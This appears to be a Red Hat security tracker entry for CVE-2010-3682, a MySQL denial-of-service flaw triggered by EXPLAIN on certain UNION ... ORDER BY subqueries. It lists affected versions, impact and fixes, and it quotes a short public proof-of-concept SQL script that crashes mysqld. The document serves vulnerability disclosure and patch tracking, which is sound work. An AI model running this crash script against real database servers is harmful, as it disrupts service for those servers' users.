A denial of service flaw was found in the way MySQL processed EXPLAIN statements for SQL queries of the form: SELECT ... UNION ... ORDER BY (SELECT ... WHERE ...) A remote authenticated MySQL user could use this flaw to cause mysqld deamon crash (dereference NULL pointer). References: [1] http://secunia.com/advisories/41048/ [2] http://dev.mysql.com/doc/refman/5.1/en/news-5-1-49.html Upstream bug report: [3] http://bugs.mysql.com/bug.php?id=52711 Upstream changesets: [4] http://lists.mysql.com/commits/105750 [5] http://lists.mysql.com/commits/112043 Note: This issue only causes a temporary denial of service, as the mysql daemon shipped with Red Hat Enterprise Linux 5 will be automatically restarted after the crash.
Public proof of concept script from [3]: CREATE TABLE t1 (a VARCHAR(10), FULLTEXT KEY a (a)); INSERT INTO t1 VALUES (1),(2); CREATE TABLE t2 (b INT); INSERT INTO t2 VALUES (1),(2); EXPLAIN SELECT * FROM t1 UNION SELECT * FROM t1 ORDER BY (SELECT a FROM t2 WHERE b = 12); EXPLAIN SELECT * FROM t2 UNION SELECT * FROM t2 ORDER BY (SELECT * FROM t1 WHERE MATCH(a) AGAINST ('+abc' IN BOOLEAN MODE)); DROP TABLE t1,t2;
This issue did NOT affect the versions of the mysql package, as shipped with Red Hat Enterprise Linux 3 and 4. This issue affects the version of the mysql package, as shipped with Red Hat Enterprise Linux 5. The Red Hat Security Response Team has rated this issue as having low security impact, as exploitation of this issue would mean only a temporary denial of service, since the mysql daemon shipped with Red Hat Enterprise Linux 5 will be automatically restarted after the crash. A future update may address this flaw in Red Hat Enterprise Linux 5. -- This issue affects the versions of the mysql package, as shipped with Fedora release of 12 and 13.
CVE Request: http://www.openwall.com/lists/oss-security/2010/08/30/8
Created mysql tracking bugs for this issue Affects: fedora-all [bug 636780]
The CVE identifier of CVE-2010-3682 has been assigned to this issue.
This issue has been addressed in following products: Red Hat Enterprise Linux 5 Via RHSA-2010:0825 https://rhn.redhat.com/errata/RHSA-2010-0825.html
Statement: This issue did not affect the versions of mysql as shipped with Red Hat Enterprise Linux 3 and 4. This issue was addressed in Red Hat Enterprise Linux 5 via https://rhn.redhat.com/errata/RHSA-2010-0825.html.
This issue has been addressed in following products: Red Hat Enterprise Linux 6 Via RHSA-2011:0164 https://rhn.redhat.com/errata/RHSA-2011-0164.html